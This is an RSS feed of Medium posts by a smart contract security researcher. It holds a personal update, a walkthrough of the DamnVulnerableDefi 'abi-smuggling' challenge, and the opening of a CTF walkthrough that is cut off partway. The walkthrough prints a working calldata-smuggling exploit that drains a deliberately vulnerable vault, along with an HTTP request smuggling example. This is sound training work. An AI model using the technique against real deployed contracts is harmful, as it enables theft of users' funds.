<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by matta @ theredguild.org on Medium]]></title>
        <description><![CDATA[Stories by matta @ theredguild.org on Medium]]></description>
        <link>https://medium.com/@mattaereal?source=rss-e8f043f3c497------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*H9F1NIL_ZlTn-vuOhsfkBw.png</url>
            <title>Stories by matta @ theredguild.org on Medium</title>
            <link>https://medium.com/@mattaereal?source=rss-e8f043f3c497------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 06:16:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mattaereal/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[An update to my journey!]]></title>
            <link>https://medium.com/@mattaereal/an-update-to-my-journey-a621f0ea079a?source=rss-e8f043f3c497------2</link>
            <guid isPermaLink="false">https://medium.com/p/a621f0ea079a</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[journey]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[the-red-guild]]></category>
            <dc:creator><![CDATA[matta @ theredguild.org]]></dc:creator>
            <pubDate>Wed, 19 Apr 2023 15:41:45 GMT</pubDate>
            <atom:updated>2023-04-19T21:20:17.963Z</atom:updated>
            <content:encoded><![CDATA[<p><em>What happened the past few months, and how a guild was born.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/0*jAaKe6euTgF3uvdg" /><figcaption>Companionship. Journey game screenshot from EpilogueGames.</figcaption></figure><p>Some of you may be curious as to know why I stopped producing content or, at the very least, maintaining the consistent posting schedule I had upheld for the past year.</p><p>The truth is, life has been quite hectic lately. My journey to where I am today has been nothing short of fascinating. Allow me to share a brief recap of the events that unfolded during this time.</p><h3>How it started</h3><p>It all began last year, around May, when I made the decision to step away from my roles at <a href="http://twitter.com/ekoparty">@ekoparty </a>(Operations Manager, Head of Content). I yearned to delve back into technical pursuits and found myself drawn to Web3, specifically <strong>Ethereum</strong>.</p><p>There were numerous reasons for this shift in focus. While I had dabbled in the field previously, I never felt that I could fully commit to it at that time. I also hadn’t truly felt a part of the community. Another compelling factor was that many friends and people I admire were already working in this area, and remarkable developments were underway (like Proof of Stake).</p><p>For those who have been following my earlier posts, you may have noticed frequent mentions of <strong>Tincho</strong> (<a href="http://twitter.com/tinchoabbate">@tinchoabbate</a>). His role in this unfolding narrative is absolutely crucial.</p><h4>Companionship</h4><p><strong>Tincho</strong> and I initially crossed paths in the infosec industry before collaborating at <strong>Zeppelin</strong> in 2018 (now OpenZeppelin). As the only team members with an offensive security background, we quickly bonded. From that point on, we stayed in touch.</p><p>After leaving <strong>Ekoparty</strong> — <em>which, by the way, has its conference scheduled for November 1–3 this year, so don’t miss out!</em> — I reached out to <strong>Tincho</strong> once more. I wanted to share my decision, seek his advice, and learn about any recommendations or communities he might have.</p><p>That’s when he revealed his <strong>solo venture into security audit explorations. </strong>His ambition was to expand this effort to include more hackers alike, provided it garnered positive results. Tincho’s pursuits aligned with my own aspirations, so I joined him on this path, even without a sponsor.</p><p>As months passed, our mutual interest in audit explorations deepened. Although we were independently engaged in our projects, we held regular meetings and shared knowledge. By September, we began discussing our goals more seriously, documenting our thoughts, and Tincho pitched his idea to me. We crafted a proposal for external funding and set to work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/0*M3WkIXJINLbJS1jN" /><figcaption>Journey Game screenshot from nwn.blogs.com.</figcaption></figure><h3>Introducing The Red Guild</h3><p>The journey was both intense and rewarding. After months of diligent work, I shared our progress in this tweet:</p><h3>ᴍatías Λereal Λeón ⚡ on Twitter: &quot;🔥 I am really proud to announce something I have been working side by side with @tinchoabbate:The Red Guild ♦️A group of dedicated security experts, educators, and advocates committed to safeguarding Ethereum applications. / Twitter&quot;</h3><p>🔥 I am really proud to announce something I have been working side by side with @tinchoabbate:The Red Guild ♦️A group of dedicated security experts, educators, and advocates committed to safeguarding Ethereum applications.</p><p>Consider it a brief summary of what you can <a href="https://blog.theredguild.org/the-red-guild-is-born/">read here</a>, but rest assured, we’re working on a more comprehensive article to address the questions we’ve received since then.</p><p>In our first month, we tackled not only operational stuff and research but also laid the groundwork for our new venture. During a routine spot-check on <strong>ENS</strong>, we stumbled upon a critical bug 😅.</p><h3>tincho on Twitter: &quot;We disclosed a critical bug on ENS.It would&#39;ve allowed anyone to take over DNSSEC names on ENS.Luckily spotted before landing on mainnet. Want details ?https://t.co/4uCCu5q1vY https://t.co/2Iq336kiN1 / Twitter&quot;</h3><p>We disclosed a critical bug on ENS.It would&#39;ve allowed anyone to take over DNSSEC names on ENS.Luckily spotted before landing on mainnet. Want details ?https://t.co/4uCCu5q1vY https://t.co/2Iq336kiN1</p><p>Imagine my delight in taking such a leap of faith— leaving a job without a guaranteed opportunity awaiting, only to be rewarded with a like-minded partner and a significant success right from the start. I couldn’t be more content 😄.</p><h3>What&#39;s next?</h3><p>I may take a break from posting here for a while, unless it pertains to personal matters unrelated to the guild. Meanwhile, you can find me actively participating in the <strong>WebtrES</strong> and <strong>ManijaDevs</strong> Discord communities, creating free Spanish Ethereum security content, and dedicating my efforts to improving the ecosystem.</p><p>Do you have any content suggestions you’d like me to consider? Please share them in the comments!</p><p>Many exciting adventures lie ahead!</p><p><em>Thanks for reading! I&#39;m currently doing quests with The Red Guild. Want to know more about it? Check out </em><a href="http://theredguild.org/"><em>theredguild.org</em></a><em> and </em><a href="https://blog.theredguild.org/the-red-guild-is-born/"><em>our mission</em></a><em>.<br>Follow me on twitter </em><a href="https://medium.com/@mattaereal/twitter.com/mattaereal"><em>@mattaereal</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a621f0ea079a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DamnVulnerableDefi ABI smuggling challenge walkthrough (plus infographic)]]></title>
            <link>https://medium.com/@mattaereal/damnvulnerabledefi-abi-smuggling-challenge-walkthrough-plus-infographic-7098855d49a?source=rss-e8f043f3c497------2</link>
            <guid isPermaLink="false">https://medium.com/p/7098855d49a</guid>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[abi]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[evm]]></category>
            <dc:creator><![CDATA[matta @ theredguild.org]]></dc:creator>
            <pubDate>Thu, 26 Jan 2023 18:07:28 GMT</pubDate>
            <atom:updated>2023-01-26T18:08:19.110Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This post will belong to a series of posts dedicated to doing in-depth explanations of Solidity challenges that have piqued my interest.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lh-BPMY32m2Q93wAN_QpQA.png" /><figcaption>First part of the infographic solution</figcaption></figure><p><em>If you just came for the infographic, </em><a href="https://i.imgur.com/lxmPHbW.png"><em>here you go</em></a><em>. Enjoy!</em></p><h3>Table of Contents</h3><p><strong>· </strong><a href="#14ec"><strong>Introduction</strong></a></p><p><strong>· </strong><a href="#874e"><strong>The challenge</strong></a><br> ∘ <a href="#a2d6">Description</a><br> ∘ <a href="#f9af">The code</a></p><p><strong>· </strong><a href="#f7f6"><strong>The bug</strong></a><br> ∘ <a href="#4cdc">ABI and raw calldatas</a></p><p><strong>· </strong><a href="#9909"><strong>The exploit</strong></a><br> ∘ <a href="#41a2">Moral of the story</a><br> ∘ <a href="#d1b5">Working exploit</a></p><p><strong>· </strong><a href="#ba45"><strong>Real scenarios with similar issues</strong></a></p><figure><img alt="Abi-Smuggler" src="https://cdn-images-1.medium.com/max/500/1*DslUreDBtVYCwHHgK9ug6g.png" /><figcaption>Abi-Smuggler, based on a stock photo from depositphotos.com</figcaption></figure><h3>Introduction</h3><p>Hi! And welcome back to another one of my educational content.</p><p>This time I bring you something new, or something that I have not seen solved yet, let alone with this dedication. I am talking about the new <strong>DamnVulnerableDefi</strong> challenge titled <a href="https://www.damnvulnerabledefi.xyz/challenges/abi-smuggling/"><em>abi-smuggling</em></a>.</p><p>It reminds me of the classic <a href="https://portswigger.net/web-security/request-smuggling/exploiting">http-smuggling attack</a>, where you <em>smuggle</em> an HTTP request inside another one.</p><pre>POST /home HTTP/1.1<br>Host: vulnerable-website.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 62<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>Host: vulnerable-website.com<br>Foo: xGET /home HTTP/1.1<br>Host: vulnerable-website.com</pre><p>And of course, I am not going to take that title lightly!</p><p>Since this time I am going to focus primarily on detailing the exploit itself, we will not do a <em>full </em>in-depth of the exercise in general.</p><p>My apologies if you were expecting that 😔, but I promise that when you comprehend where the bug is, you&#39;ll like the graphics I have prepared for you~!</p><h3>The challenge</h3><p>You know the drill! Let&#39;s check the description for <a href="https://www.damnvulnerabledefi.xyz/challenges/abi-smuggling/">this challenge</a>.</p><h4>Description</h4><blockquote>There’s a permissioned vault with 1 million DVT tokens deposited. The vault allows withdrawing funds periodically, as well as taking all funds out in case of emergencies.</blockquote><blockquote>The contract has an embedded generic authorization scheme, only allowing known accounts to execute specific actions.</blockquote><blockquote>The dev team has received a responsible disclosure saying all funds can be stolen.</blockquote><blockquote>Before it’s too late, rescue all funds from the vault, transferring them back to the recovery account.</blockquote><p>Ok, great.</p><p>We have a scheme where we will be authorized (or not) to execute some functionality, and it is supposed to be broken somehow.</p><p>We have to find how, and abuse that to rescue all the funds from the vault to a recovery account we will be given.</p><h4>The code</h4><p>As I said, I will try to constantly have the title of this challenge in the back of my mind. This should allow me to discriminate most of the code and find the bug quicker.</p><p>I&#39;m going to post <strong>SelfAuthorizedVault.sol</strong> in a simplified manner, to make things easier.</p><p><em>Note: I&#39;m experimenting with the code block from Medium, so please don&#39;t mind the Typescrypt syntax highlining over the Solidity code.</em></p><pre>contract SelfAuthorizedVault is AuthorizedExecutor {<br>    uint256 public constant WITHDRAWAL_LIMIT = 1 ether;<br>    uint256 public constant WAITING_PERIOD = 15 days;<br><br>    uint256 private _lastWithdrawalTimestamp = block.timestamp;<br><br>    function withdraw(address token, address recipient, uint256 amount) external onlyThis {<br>        if (amount &gt; WITHDRAWAL_LIMIT) {<br>            revert InvalidWithdrawalAmount();<br>        }<br><br>        if (block.timestamp &lt;= _lastWithdrawalTimestamp + WAITING_PERIOD) {<br>            revert WithdrawalWaitingPeriodNotEnded();<br>        }<br><br>        _lastWithdrawalTimestamp = block.timestamp;<br><br>        SafeTransferLib.safeTransfer(token, recipient, amount);<br>    }<br><br>    function sweepFunds(address receiver, IERC20 token) external onlyThis {<br>        SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));<br>    }<br><br>    function getLastWithdrawalTimestamp() external view returns (uint256) {<br>        return _lastWithdrawalTimestamp;<br>    }<br><br>    function _beforeFunctionCall(address target, bytes memory) internal view override {<br>        if (target != address(this)) {<br>            revert TargetNotAllowed();<br>        }<br>    }<br>}</pre><p>Great! So, let&#39;s see what we can already discard being vulnerable.</p><ul><li>getLastWithdrawalTimestamp()is just a getter ✅.</li><li>_beforeFunctionCall() is an internal view, and it only checks that target isn&#39;t the address of that same contract ✅.</li><li>sweepFunds() seems to be the most problematic, because it basically allows to drain off all the tokens from the vault to a receiver . Despite this, it simply does a safeTransfer() from solady (Solidity gas-optimized snippets). It&#39;s not OZ&#39;s library, but it&#39;s safe, trust me in this one ✅.</li><li>and the remaining being withdraw() . Again, really simple logic behind it. Uses safeTransfer()too with the limitation of 1 ether every 15 days. So unless we can control 🕑 block.timestamp, this should be ok ✅.</li></ul><p>Let&#39;s move on to its parent <em>abstract</em> contract <strong>AuthorizedExecutor</strong>.</p><p>Since we have two contracts only, I&#39;m gonna guess the bug is in this one, and that&#39;s why we will split it.</p><pre>abstract contract AuthorizedExecutor is ReentrancyGuard {<br>    using Address for address;<br><br>    bool public initialized;<br><br>    // action identifier =&gt; allowed<br>    mapping(bytes32 =&gt; bool) public permissions;<br><br>    function _beforeFunctionCall(address target, bytes memory actionData) internal virtual;<br><br>    function getActionId(bytes4 selector, address executor, address target) public pure returns (bytes32) {<br>        return keccak256(abi.encodePacked(selector, executor, target));<br>    }<br><br>  // continues below<br>}</pre><p>_beforeFunctionCall is not implemented here, so it&#39;s good ✅.</p><p>_getActionId() returns a <strong>keccak256</strong> <em>hash</em> from the combination of three arguments. This is done with the help of the ABI (👀), using encodePacked .</p><p>You see, there are two types of encoding using the ABI explicitly. One is .encode() and the other one .encodePacked() . But the latter has some caveats.</p><p>Let&#39;s explain it with an easy example. Suppose that for some reason you were to check that the result of encoding is secretPassword . And it&#39;s being done through a function that receives two arguments.</p><pre>function check(string arg1, string arg2) returns (bool) external {<br>    return (&quot;secretPassword&quot; == abi.encodePacked(arg1, arg2);<br>}</pre><p>This allows the caller to get access to a great number of combinations to achieve the same result.</p><p>Why?</p><p>Because encode-packing se with cretPassword, would result equivalent to encoding an empty string with secretPassword, and also equivalent to secretPasswor with d . Do you see where this is going?</p><p>I&#39;ll leave you with the warning the documentation currently comes with, and then I&#39;ll try to explain it with actual code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R1lt0ogJvBtZLDlx2Y1VSg.png" /></figure><blockquote>To learn more about their difference you can head to <a href="https://docs.soliditylang.org/en/v0.8.11/abi-spec.html#non-standard-packed-mode">Non Standard Packing Mode</a> from the official documentation.</blockquote><p>The only call to getActionId is far ahead in the code, but just seeing how it is used we can see if we can actually tamper the result.</p><pre>getActionId(selector, msg.sender, target)</pre><p>If we supposedly are able to control selector, and target, we wouldn&#39;t be able to pick the size or details of the 20 bytes address of msg.sender .</p><p>It&#39;s (1) exactly in the middle, (2) with a fixed size, and (3) we don&#39;t have full control of its composition.</p><p>That&#39;s how far this analysis goes for me at the current moment ✅.</p><p>The following code has an unchecked that piqued my interest.</p><pre>function setPermissions(bytes32[] memory ids) external {<br>        if (initialized) {<br>            revert AlreadyInitialized();<br>        }<br><br>        for (uint256 i = 0; i &lt; ids.length;) {<br>            unchecked {<br>                permissions[ids[i]] = true;<br>                ++i;<br>            }<br>        }<br>        initialized = true;<br><br>        emit Initialized(msg.sender, ids);<br>    }</pre><p>But it&#39;s only a gas optimization for the for loop. It removes the out-of-bounds check, which seems unnecessary — the check — because i will never be greater than the length of the array, so it was a good call.</p><p>It can only be initialized once, and in the context of this challenge, it&#39;s already initialized ✅.</p><p>It all indicates the remaining function <strong>must</strong><em> </em>be vulnerable. Otherwise, we have missed something 😅 (not a first-timer 😜).</p><pre>function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {<br>        // Read the 4-bytes selector at the beginning of `actionData`<br>        bytes4 selector;<br>        uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins @audit-issue<br>        assembly {<br>            selector := calldataload(calldataOffset) // loads 32 bytes starting from 100 bytes shift in calldata<br>        }<br><br>        if (!permissions[getActionId(selector, msg.sender, target)]) { // @audit bypass this sh!t<br>            revert NotAllowed();<br>        }<br><br>        _beforeFunctionCall(target, actionData);<br><br>        return target.functionCall(actionData);<br>    }</pre><p>In general terms, this executes a function call using functionCall (functionality extended totarget via Address) when the function selector from actionData is allowed (<em>permissioned</em>) for msg.sender .</p><p>It <em>apparently</em> optimizes the way it gets the first 4 bytes of actionData for the selector, instead of doing something like a substring or a shift.</p><p>Clearly, the shadiest part of this function is the assembly, though assuming calldataOffset correctly, selector will be assigned correctly.</p><p>Now the question you should be asking yourself is:<br><em>Can we assume that </em><em>calldataOffset is calculated right?</em></p><h3>The bug</h3><p>The short answer to the question above is: No.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xlLDSLUsrpa80BAAtp4PGQ.png" /><figcaption>Second part of the infographic I made</figcaption></figure><blockquote>If you&#39;re more of the visual kind and think you already understand what is this all about, you can see the <a href="https://i.imgur.com/lxmPHbW.png">infographic here</a>, and skip to the Exploit section to see the working code.</blockquote><blockquote>If you feel you need a little bit more context, keep reading my fellow hacker.</blockquote><p>Let&#39;s see why.</p><h4>ABI and raw calldatas</h4><p>First of all, you need to understand how the ABI works in detail, or at least to some extent for this scenario.</p><p>For this, I strongly suggest that you read and try to understand this section of the documentation: <a href="https://docs.soliditylang.org/en/latest/abi-spec.html#function-selector-and-argument-encoding">ABI Specification — Function Selector and Argument encoding</a>.</p><p>The <strong>tl;dr </strong>version of the link from above says that a calldata , the actual data sent in a transaction, is encoded by concatenating the function selector to be triggered by the called contract, followed by all the arguments.</p><p>If you want to see an example, here is <a href="https://etherscan.io/tx/0xcb2beb9811f9f60417dcea3393ee08c9492638fe959924e07f7c5f19cefecb88">a random tx</a> I grabbed from Etherscan:<br><a href="https://etherscan.io/tx/0xcb2beb9811f9f60417dcea3393ee08c9492638fe959924e07f7c5f19cefecb88">0xcb2beb9811f9f60417dcea3393ee08c9492638fe959924e07f7c5f19cefecb88</a></p><p>In the <strong>Input data</strong> section, you can clearly see the following:</p><pre>Function: approve(address spender, uint256 amount)<br><br>MethodID: 0x095ea7b3<br>[0]:  000000000000000000000000000000000022d473030f116ddee9f6b43ac78ba3<br>[1]:  ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff</pre><p><strong>MethodID</strong> stands for <em>funcsig</em> or <em>function selector</em>, the first 4 bytes of the keccak256 from the function header, in this case of approve(address,uint256) . Try it out yourself on <a href="https://gchq.github.io/CyberChef/#recipe=Keccak(&#39;256&#39;)Head(&#39;Nothing%20(separate%20chars)&#39;,8)&amp;input=YXBwcm92ZShhZGRyZXNzLGFtb3VudCk">CyberChef</a>.</p><p>So the first 32 bytes are the 20-byte address of spender with a 12-byte padding to fill the remaining space. Followed by it, the amount of the approval, MAX_INT or 2^256-1 .</p><p>This is an easier case because both parameters are static types!</p><p>But what happens when you have <strong>dynamically allocated structures</strong>, such as strings o arrays?</p><p>When having dynamically-allocated types, you need to specify the <em>size, length, or quantity </em>(in a 32 bytes segment)<em> </em>of the expected elements to let the contract know up to what point extends a structure. And immediately afterward comes the content.</p><p>Now, the position of that combination (size, content) is not arbitrary. It is previously defined by a 32 bytes segment that contains its offset (in bytes).</p><p>So, let&#39;s say we have a funcsig 0xcafebabewith two parameters: a bytes idand a uint256 amount . If we call it with <strong>(0x1337, 3)</strong> respectively, the calldata should look like this.</p><pre>0x<br>funcsig<br>offset position of bytes (id)<br>value of uint256 (amount)<br>size of bytes (id)<br>content of bytes (id)</pre><p>Replacing them with their actual representation would look like the following snippet.</p><pre>0x<br>cafebabe -&gt; funcsig<br>00000000000000000000000000000040 -&gt; 0x40 = 64 bytes offset<br>00000000000000000000000000000003 -&gt; 3 (amount)<br>00000000000000000000000000000004 -&gt; 4 bytes (len(id))<br>00000000000000000000000000001337 -&gt; 1337 (id)</pre><p>Great! Since it&#39;s all a little clear, I&#39;m gonna jump off right to some of the graphics I designed for this purpose.</p><p>This is the current calldata layout for the normal execution of this challenge&#39;s execute function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HeDWwKy9Xa1hZbPhTvALDg.png" /><figcaption>Crop #1 from the infographic solution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*u-v_boArb-NRoDG9kqHEWA.png" /><figcaption>Crop #2 from the infographic solution</figcaption></figure><p>But what would happen if we were to manually craft the <strong>calldata</strong>, do a raw call, and change the offset position of the actionData <strong>bytes</strong> structure? 💭</p><p>It will no longer be where the hardcoded callDataOffset is going to look for!</p><p>Ok ok, so hear me out.</p><p><strong>WHAT IF</strong>, we keep the function selector of an authorized function such as withdraw&#39;s 0xd9caed12 on the same position where it will be expected to be? <strong>AND THEN </strong>we get the freedom to fill actionData as we want?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*qurOTrBEW1nG6HzHSNTTeA.png" /><figcaption>Visual proof of concept</figcaption></figure><p>I&#39;m smelling trouble!</p><h3>The exploit</h3><p>Let’s visualize the layout of the calldata so far.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*S0wIRZ-PTmNVereLh5bOXA.png" /><figcaption>Layout of the things we know</figcaption></figure><p>Excellent. Now we only need to generate the real content of actionData&#39;s calldata, which is going to get executed with the functionCall(actionData) call.</p><p>Having a check over static position on a clearly manipulable <strong>calldata</strong> makes for a great bypass of the permissions, allowing us to execute whatever we want to. And in this case, this is where sweepFunds enters into action.</p><p><strong>To sum it all up</strong>, in order for the exploit to work, we just need to:</p><ol><li>Have the following 4 bytes after 100th position(4 + 32 * 3) occupied with a function selector authorized for the caller. In our case, player is authorized to use <strong>withdraw</strong>.</li><li>Immediately afterward, actionData&#39;s size and content, containing the working <strong>calldata</strong> (sweepFunds) to drain the vault to the recovery address.</li><li>Point actionData&#39;s beginning to the new position.</li><li>Fill the freed space in between with zeroes.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*UNzs28pI2Gf42Z_Ho2_O_g.png" /><figcaption>Layout for the working exploit.</figcaption></figure><p>How it started. <br>From the default layout of the generated <strong>calldata</strong>, to our own crafted layout.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*Y7rimqRGn11eeZ0Bs_vPrw.png" /></figure><p>How it ended.<br>sweepFunds getting smuggled behind<strong> withdraw</strong>&#39;s <em>funcsig</em> to trigger a bypass.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*nrC9utlkipF32kkjRdaM_g.png" /></figure><p><a href="https://i.imgur.com/lxmPHbW.png"><strong><em>Smuggled</em></strong></a><strong><em>!</em></strong></p><h4>Moral of the story</h4><p>Using assembly to interact with the ABI is all fun and games until someone smuggles an exploit through your face.</p><p>Ok, maybe too harsh. Let&#39;s try again.</p><p>Using assembly has its caveats, particularly interacting <strong>with and for</strong> the ABI without being fully conscious of the possible consequences.</p><p>Would this exploit be invalidated if instead of doing this</p><pre>uint256 calldataOffset = 4 + 32 * 3;<br>assembly {<br>    selector := calldataload(calldataOffset)<br>}</pre><p>I did something like this?</p><pre>uint256 actionDataOffset = 4 + 32;<br>assembly {<br>    selector := calldataload(calldataload(actionDataOffset)))<br>}</pre><p>Let me know in the comments!</p><h4>Working exploit</h4><p>This is the code that solves the challenge.</p><p>You can find a <a href="https://github.com/mattaereal/damn-vulnerable-defi-solutions/blob/master/test/abi-smuggling/abi-smuggling.challenge.js">more detailed and commented version of the solution</a> — <em>including my process of thought plus additional tests, I feel exposed 😅 —</em> in my repo <a href="https://github.com/mattaereal/damn-vulnerable-defi-solutions/">@mattaereal/damn-vulnerable-defi-solutions</a>.</p><p>(<em>Note on the repo: I&#39;m currently integrating the v2 solutions with the v3 changes</em>).</p><pre>fragment = await vault.interface.getFunction(&quot;execute&quot;);<br>executeFs = await vault.interface.getSighash(fragment); <br><br>vaultAddr = await ethers.utils.hexZeroPad(vault.address, 32);<br><br>fragment = await vault.interface.getFunction(&quot;withdraw&quot;);<br>withdrawFs = await vault.interface.getSighash(fragment);<br><br>nops = await ethers.utils.hexZeroPad(&quot;0x0&quot;, 32);<br><br>exploitOffset = await ethers.utils.hexZeroPad(&quot;0x64&quot;, 32);<br>exploitSize = await ethers.utils.hexZeroPad(&quot;0x44&quot;, 32);<br><br>exploit = await vault.interface.encodeFunctionData(&quot;sweepFunds&quot;, [recovery.address, token.address]);<br><br>padding = await ethers.utils.hexZeroPad(&quot;0x0&quot;, 24);<br><br>actionData = await ethers.utils.hexConcat([exploitOffset, nops, withdrawFs, exploitSize, exploit, padding])<br>calldata = await ethers.utils.hexConcat([executeFs, vaultAddr, actionData])<br><br>await player.sendTransaction({ to: vault.address, data: calldata })</pre><h3>Real scenarios with similar issues</h3><p>I&#39;d like to thank <a href="http://twitter.com/tinchoabbate">@tinchoabbate</a> for the following links, where <strong>pretty similar</strong> — not to say <em>identical</em> — vulnerabilities to the one we have exploited in this challenge have been reported before.</p><p><a href="https://github.com/code-423n4/2022-08-mimo-findings/issues/159"><strong>1. Incorrect implementation of access control in MIMOProxy:execute</strong></a></p><pre>    if (owner != msg.sender) {<br>      bytes4 selector;<br>      assembly {<br>        selector := calldataload(data.offset)<br>      }<br>      if (!_permissions[msg.sender][target][selector]) {<br>        revert CustomErrors.EXECUTION_NOT_AUTHORIZED(owner, msg.sender, target, selector);<br>      }<br>    }</pre><p><a href="https://github.com/balancer-labs/balancer-v2-monorepo/blob/master/pkg/liquidity-mining/contracts/admin/AuthorizerAdaptor.sol"><strong>2. AuthorizedAdaptor.sol at balancer-v2-monorepo</strong></a></p><pre>assembly {<br>    // The function selector encoded in `data` has an offset relative to the start of msg.data of:<br>    // - 4 bytes due to the function selector for `performAction`<br>    // - 3 words (3 * 32 = 96 bytes) for `target` and the length and offset of `data`<br>    // 96 + 4 = 100 bytes<br>    selector := calldataload(100)<br>}<br><br>// NOTE: The `TimelockAuthorizer` special cases the `AuthorizerAdaptor` calling into it, so that the action ID<br>// and `target` values are completely ignored. The following check will only pass if the caller is the<br>// `AuthorizerAdaptorEntrypoint`, which will have already checked for permissions correctly.<br>_require(_canPerform(getActionId(selector), msg.sender, target), Errors.SENDER_NOT_ALLOWED);<br><br>// We don&#39;t check that `target` is a contract so all calls to an EOA will succeed.<br>return target.functionCallWithValue(data, msg.value);</pre><p>Did you see? Not everything is fiction here! 😲</p><p>— — —</p><p><em>Thanks for reading! My name is Matt, and I’m learning how to make Ethereum more secure. I will be sharing some things from time to time.<br>Follow me on Twitter </em><a href="https://medium.com/@mattaereal/twitter.com/mattaereal"><em>@mattaereal</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7098855d49a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A-MAZE-X CTF Walkthrough | Part IV (last)]]></title>
            <link>https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-iv-last-407f5de236f8?source=rss-e8f043f3c497------2</link>
            <guid isPermaLink="false">https://medium.com/p/407f5de236f8</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[solidity]]></category>
            <dc:creator><![CDATA[matta @ theredguild.org]]></dc:creator>
            <pubDate>Sat, 08 Oct 2022 17:17:38 GMT</pubDate>
            <atom:updated>2022-10-08T17:17:38.741Z</atom:updated>
            <content:encoded><![CDATA[<h3>A-MAZE-X CTF Walkthrough | Part IV</h3><p><em>This post belongs to a series of articles dedicated to solving the DeFi challenges hosted by Secureum at Stanford University on the past 26 of August.</em></p><p><em>Additionally, this series is part of a greater series called </em><a href="https://medium.com/@mattaereal/a-journey-into-smart-contract-security-3115ff480f28"><em>A journey into smart contract security.</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q8VwcXgUV1JpZF_a.png" /><figcaption>Image extracted from LiveOverflow’s YT channel</figcaption></figure><p>Welcome to the last one! Congrats on getting up to this point. Shall we?</p><h3>Table of contents</h3><p>· <a href="#38b6">Table of contents</a><br><strong>· </strong><a href="#d606"><strong>Challenge3</strong>.borrow_system: borrow, hide and seek</a><br> ∘ <a href="#6152">Challenge description</a><br><strong>· </strong><a href="#6119"><strong>The code</strong></a><br> ∘ <a href="#5197">First part</a><br> ∘ <a href="#2ed0">Second part</a><br> ∘ <a href="#1295">Third part</a><br> ∘ <a href="#bc5d">Fourth part</a><br> ∘ <a href="#490c">Fifth part</a><br><strong>· </strong><a href="#895c"><strong>Vulnerabilities &amp; Exploit</strong></a><br> ∘ <a href="#07f5">Hands-on!</a><br> ∘ <a href="#f255">Some comments</a><br><strong>· </strong><a href="#c324"><strong>Solution</strong></a><br> ∘ <a href="#fd69">Exploit contract</a><br> ∘ <a href="#7ba2">Deployment</a></p><h3>Challenge3.borrow_system: borrow, hide and seek</h3><blockquote><strong><em>Reminder</em></strong><em> to </em><strong><em>pause</em></strong><em>, and </em><strong><em>really</em></strong><em> think every time you see this emoji near a paragraph: 💭</em></blockquote><p><em>— By this time you already know the drill </em>😉</p><p>— Yes yes, I know what to do. But there&#39;s nothing much to say about today&#39;s topic. It explicitly talks about a system where you possibly borrow <strong>ether</strong> or <strong>tokens</strong> and all the functionality associated with it, like deposits and widthrawals.</p><p><em>— It&#39;s a good start! Let&#39;s see the challenge description.</em></p><h4>Challenge description</h4><blockquote>Finally, as a conclusion to this not-so-secure ecosystem, the Secureum team built the BorrowSystemInsecureOracle lending platform where one can borrow and loan $<strong>ISEC</strong> and BoringToken ($<strong>BOR</strong>). Both tokens can be borrowed by either providing themselves or the other token as collateral.</blockquote><blockquote>📌 Upon deployment, the InSecureumToken and BoringToken contracts mint an initial supply of 30000 $<strong>ISEC</strong> and 20000 $<strong>BOR</strong> to the contract deployer.</blockquote><blockquote>📌 BorrowSystemInsecureOracle uses the InsecureDexLP to compute the $<strong>ISEC</strong>/$<strong>BOR</strong> price.</blockquote><blockquote>📌 The deployer adds an initial liquidity of 100 $<strong>ISEC</strong> and 100 $<strong>BOR</strong> to the InsecureDexLP.</blockquote><blockquote>📌 Similarly, 